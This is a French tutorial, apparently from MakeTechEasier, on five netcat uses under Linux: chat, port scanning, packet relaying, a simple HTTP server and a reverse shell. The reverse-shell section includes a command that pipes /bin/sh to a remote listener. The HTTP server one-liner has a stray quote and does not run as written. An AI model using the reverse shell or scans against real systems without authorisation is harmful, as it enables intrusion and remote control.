5 utilisations simples et faciles de Netcat sous Linux
Netcat est un puissant utilitaire réseau en ligne de commande sous Linux qui peut envoyer et écouter des paquets TCP et UDP. Contrairement à d’autres outils réseau, netcat est extrêmement basique. Cependant, sa simplicité lui permet également de faire presque n’importe quel type d’activité sur un réseau.
Cet article vous montrera 5 tâches réseau simples que vous pouvez effectuer avec netcat. De plus, cet article mettra également en évidence ce qui rend netcat spécial et pourquoi vous devriez l’inclure dans votre boîte à outils Linux.
Comment fonctionne Netcat et pourquoi l’utiliser ?
Netcat est un utilitaire de base qui peut envoyer et recevoir des paquets réseau. Il a été publié pour la première fois en 1995 par un programmeur pseudonyme nommé Hobbit. Depuis lors, netcat a été une partie importante de chaque distribution Linux.
À la base, netcat fonctionne en envoyant des requêtes réseau d’un hôte Linux à un autre. Cette requête réseau peut contenir n’importe quel type de données et vous pouvez l’envoyer sur n’importe quel port.
Cette approche signifie que netcat peut créer n’importe quel type de connexion réseau possible. Par exemple, le programme peut créer des connexions TCP directes que vous pouvez utiliser pour transférer des fichiers ou créer des sessions shell inversées .
1. Session de chat entre pairs
L’une des utilisations les plus élémentaires de netcat est une simple session de chat peer to peer entre deux machines Linux. Il s’agit d’une méthode de communication qui ne repose sur aucun serveur tiers pour envoyer et recevoir des informations.
- Pour que cela fonctionne, vous devez ouvrir un port entre 49152 et 65536 sur votre machine locale. C’est là qu’un hôte distant pourra se connecter et envoyer des informations arbitraires à votre machine.
sudo ufw allow 50000
- Vous devez également ouvrir un port différent sur l’hôte distant pour que votre machine lui envoie des informations :
sudo ufw allow 50001
- Exécutez
netcat
sur votre ordinateur avec les arguments suivants :
nc -lp 50000
Cela ouvrira une session netcat qui écoute activement les données sur le port 50000.
- L’hôte distant peut maintenant envoyer n’importe quelle donnée texte vers votre machine locale. Par exemple, la commande suivante enverra l’entrée standard du système à une machine distante.
cat - | nc 192.168.122.136 50000
- Afin de répondre au message, l’hôte distant doit également exécuter un démon d’écoute :
nc -lp 50001
- Désormais, vous pouvez également envoyer un message de la machine locale à l’hôte distant :
cat - | nc 192.168.122.177 50001
2. Analyseur de port de base
Un scanner de ports est un utilitaire simple qui vérifie si un ensemble de ports d’une machine est accessible depuis un hôte distant. Ceci est très utile dans les cas où vous n’êtes pas sûr que votre système dispose des ports appropriés ouverts.
Pour vérifier un seul port, vous pouvez exécuter nc -v
suivi de l’adresse IP et du port que vous souhaitez vérifier :
nc -v 192.168.122.177 80
Vous pouvez également fournir une plage de numéros où netcat vérifiera séquentiellement chaque numéro de port à l’intérieur de cette plage. Par exemple, l’exécution de la commande suivante recherchera tous les ports « connus » ouverts :
nc -v 192.168.122.177 1-1024
L’un des inconvénients de l’interrogation des ports est qu’elle génère un trafic réseau inutile. Cela peut être un problème si vous testez une large gamme de ports dans un petit réseau domestique.
Pour résoudre ce problème, activez le mode « Zero I/O » de netcat qui ne crée aucune activité réseau sur l’hôte distant :
nc -zv 192.168.122.177 1-1024
3. Coque inversée
Les shells inversés sont le pain et le beurre des tests de pénétration sous Linux. Ce sont des instances de shell distantes qui vous permettent de contrôler un système même sans ports entrants ouverts. Cela rend les shells inversés pratiques si vous devez accéder à une machine qui n’a pas d’accès SSH.
- Pour créer un reverse shell, vous devez ouvrir un démon d’écoute sur votre machine locale :
nc -lp 50000
- Démarrez une connexion netcat sur votre machine distante. Dans ce cas, vous devez également passer l’environnement shell de la machine distante :
nc -e /bin/sh 192.168.122.136 50000
- Retournez sur votre ordinateur local et exécutez une commande shell. Par exemple, l’exécution
ls
imprimera le répertoire courant de l’utilisateur distant.
ls -la
- Pour mettre fin à la session reverse shell, vous pouvez appuyer sur Ctrl+ Csur le démon d’écoute de votre machine locale.
4. Relais de paquets de base
En plus de lire et d’écrire directement sur un flux réseau, vous pouvez également utiliser netcat pour rediriger une connexion entrante vers n’importe quel port sortant. Cela fonctionne en enchaînant plusieurs sessions d’écoute et de client netcat à l’aide de canaux UNIX.
- Créez une session netcat qui écoute sur le port 50000. Cela servira de port sortant pour votre relais de base :
nc -lv localhost 50000
- Ouvrez un nouveau terminal et exécutez la commande suivante :
nc -lv localhost 50001 | nc localhost 50000
Cela créera un nouveau démon d’écoute sur le port 50001 et il redirigera automatiquement tous les paquets sur ce port vers le port 50000.
- Vous pouvez maintenant envoyer des données à votre port entrant et netcat redirigera automatiquement sa sortie vers votre port sortant.
echo "MakeTechEasier"| nc localhost 50001
- Outre les ports locaux, vous pouvez également utiliser cette fonctionnalité pour rediriger tout trafic réseau vers une autre machine. Par exemple, le code suivant envoie des données du port 50000 au même port sur un autre système :
nc -lv localhost 50000 | nc 192.168.122.177 50000
5. Serveur HTTP de base
La configuration d’un serveur HTTP peut être un processus complexe même si vous ne souhaitez servir qu’une seule page. À cet égard, netcat peut également servir de simple serveur Web statique que vous pouvez lancer sous Linux sans installer d’outils supplémentaires.
- Créez un fichier de réponse HTTP de base. L’extrait de code suivant affiche une page Web avec un message simple :
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Enregistrez-le sous « index.http » dans votre répertoire personnel.
- Exécutez la commande suivante :
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Vous avez maintenant un serveur Web fonctionnel. Vous pouvez visiter votre page Web en ouvrant un navigateur Web et en vous rendant sur http://localhost:8080.
- Appuyez sur Ctrl+ Csur le terminal pour quitter la session en cours du serveur Web.
Questions fréquemment posées
Je ne peux pas me connecter à une machine distante à l’aide de netcat.
Ce problème est probablement dû à un port de pare-feu bloqué sur la machine distante. Vous devez vous assurer que le port que vous utilisez sur votre machine est ouvert pour les connexions entrantes et sortantes. Par exemple, vous devez exécuter sudo ufw allow 49999
si vous souhaitez utiliser le port 49999 sur la machine distante.
Est-il possible de se connecter à n’importe quel hôte en utilisant netcat ?
Non. Alors que netcat peut lire et écrire sur n’importe quel flux réseau arbitraire, il ne peut pas se connecter à une machine qui n’est pas détectable depuis le réseau de votre système. Il s’agit notamment des réseaux privés pour lesquels la redirection de port n’est pas activée, ainsi que des systèmes d’air gap qui n’ont pas d’accès au réseau.
Est-il possible d’usurper une connexion dans netcat ?
Non. En effet, netcat ne peut envoyer et recevoir des paquets qu’à partir d’une interface réseau valide. Cependant, vous pouvez modifier la provenance de ce paquet particulier si vous disposez de plusieurs interfaces réseau.
Par exemple, vous pouvez exécuter nc -l -s 10.0.0.2 -p 50000
pour indiquer à netcat d’envoyer explicitement des paquets à l’aide de l’interface dont l’adresse IP est « 10.0.0.2 ».
Crédit image : ThisisEngineering RAEng via Unsplash . Toutes les modifications et captures d’écran par Ramces Red.
Laisser un commentaire